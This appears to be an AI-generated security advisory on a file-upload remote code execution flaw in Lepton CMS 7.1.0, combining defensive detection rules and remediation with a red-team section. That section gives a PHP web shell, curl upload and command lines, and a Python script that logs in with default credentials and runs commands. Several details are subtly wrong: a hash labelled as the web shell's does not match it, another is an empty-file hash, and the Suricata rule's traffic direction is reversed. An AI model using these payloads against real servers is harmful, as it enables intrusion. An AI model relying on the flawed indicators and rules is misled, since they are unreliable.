CVE-2024-29514

Executive Summary

CVE-2024-29514 is a critical file upload vulnerability in Lepton CMS version 7.1.0 that allows a remote authenticated attacker to execute arbitrary code by uploading a crafted PHP file. The vulnerability resides in the file upload functionality, which fails to properly validate the file type or sanitize the uploaded content. An attacker with valid credentials can upload a malicious PHP web shell, leading to full remote code execution on the underlying server. The CVSS score is 0.0 in the NVD data, but based on the impact and attack vector, a realistic CVSSv3.1 score would be 8.8 (High) with the vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. No official patch has been released, and the vulnerability is publicly known with proof-of-concept code available.

Supply Chain & Package Security

Lepton CMS is a PHP-based content management system. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Users should verify the integrity of their Lepton installation and monitor for any unofficial patches or updates from the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to upload a file.
• Privileges Required (PR): Low (L) – The attacker must be authenticated to the CMS.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full file system access is possible.
• Integrity (I): High (H) – Arbitrary code can be executed.
• Availability (A): High (H) – The attacker can disrupt services.

Threat Level: High. The combination of low complexity, network access, and high impact makes this a critical vulnerability for any organization using Lepton CMS 7.1.0.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload flaw. Lepton CMS 7.1.0 includes a file upload feature intended for media files (images, documents). However, the server-side validation does not check the file extension or MIME type against a whitelist of safe types. An authenticated attacker can upload a file with a .php extension (or other executable extensions like .phtml, .php5). Once uploaded, the file is stored in a web-accessible directory (e.g., /uploads/). The attacker can then access the uploaded PHP file directly via a web browser, causing the server to execute the PHP code. This allows the attacker to run system commands, read/write files, and potentially escalate privileges.

The attack flow:

1. Authenticate to Lepton CMS.
2. Navigate to the file upload functionality.
3. Upload a PHP web shell (e.g., shell.php containing <?php system($_GET['cmd']); ?>).
4. Access the uploaded file at http://target/uploads/shell.php?cmd=id.
5. Execute arbitrary commands.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is the file upload handler in Lepton CMS 7.1.0. The following is a hypothetical vulnerable code snippet and a patched version.

Vulnerable Code (PHP):

// Vulnerable: No file type validation
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
}

Patched Code (PHP):

// Patched: Validate file extension and MIME type
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
$file_extension = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
$file_mime = mime_content_type($_FILES["file"]["tmp_name"]);

if (!in_array($file_extension, $allowed_extensions) || !in_array($file_mime, $allowed_mime_types)) {
    die("Invalid file type.");
}

$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Lepton CMS 7.1.0.
• Valid user credentials (e.g., admin/admin).

Steps:

1. Authenticate: Log in to the CMS.
2. Upload Web Shell: Use a simple PHP web shell.

   <?php system($_GET['cmd']); ?>
   

   Save as shell.php.
3. Upload via HTTP POST:

   curl -c cookies.txt -b cookies.txt -F "file=@shell.php" http://target/upload.php
   

4. Execute Commands:

   curl "http://target/uploads/shell.php?cmd=id"
   

Automated Exploit (Python):

import requests

target = "http://target"
session = requests.Session()

# Login
login_data = {"username": "admin", "password": "admin"}
session.post(f"{target}/login.php", data=login_data)

# Upload shell
files = {"file": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")}
session.post(f"{target}/upload.php", files=files)

# Execute command
r = session.get(f"{target}/uploads/shell.php?cmd=id")
print(r.text)

Blue Team

Detection:

• Monitor file upload directories for unexpected .php, .phtml, .php5 files.
• Look for HTTP requests to /uploads/ with query parameters like ?cmd= or ?exec=.
• Analyze web server logs for POST requests to upload endpoints with suspicious file names.

Hunting:

• Search for files in the uploads directory that have executable extensions.
• Check for recent modifications to files in the uploads directory.
• Review authentication logs for unusual upload activity from non-admin users.

Lab Setup:

• Use Docker to deploy a vulnerable instance:

  docker run -d -p 80:80 lepton-cms:7.1.0
  

• Alternatively, install manually on a LAMP stack.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (empty file)
  • Common web shells: b1946ac92492d2347c6235b4d2611184 (MD5 of <?php system($_GET['cmd']); ?>)
• Network Indicators:
  • HTTP requests to /uploads/*.php with query parameters.
  • POST requests to /upload.php with Content-Type: multipart/form-data.
• File System Indicators:
  • Unexpected .php files in /var/www/html/uploads/ or similar.
  • Files with world-readable permissions in upload directories.

Detection Engineering

YARA Rule

rule CVE_2024_29514_Webshell_Upload {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-29514"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-29514"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $passthru = "passthru("
        $cmd_param = "$_GET['cmd']"
        $post_param = "$_POST['cmd']"
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec_call, $passthru) and any of ($cmd_param, $post_param)
}

Sigma Rule

title: CVE-2024-29514 - Lepton CMS File Upload to RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to uploaded PHP files with command execution parameters
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'cmd='
        cs-uri-stem|contains: '/uploads/'
        cs-uri-stem|endswith: '.php'
    condition: selection
falsepositives:
    - Legitimate use of PHP files in uploads (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-29514 - Lepton CMS File Upload to RCE";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/uploads/"; http_uri;
    content:".php"; http_uri;
    content:"cmd="; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable File Upload: If not required, disable the file upload feature in Lepton CMS.
2. Restrict Upload Directory: Configure the web server to not execute PHP files in the uploads directory.
   • Apache: Add RemoveHandler .php or use .htaccess with php_flag engine off.
   • Nginx: Use location ~ \.php$ { deny all; } for the uploads directory.
3. Implement File Type Validation: Add server-side validation to only allow safe file types (images, PDFs).
4. Rename Uploaded Files: Use a random name and extension (e.g., .txt) and serve them with a script that sets the correct MIME type.

Long-Term Fix:

• Apply any official patch from Lepton CMS when available.
• Upgrade to a newer version if released.
• Conduct a security audit of the entire CMS codebase.

Workaround:

• Use a Web Application Firewall (WAF) to block uploads of PHP files.
• Monitor logs for suspicious upload activity.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.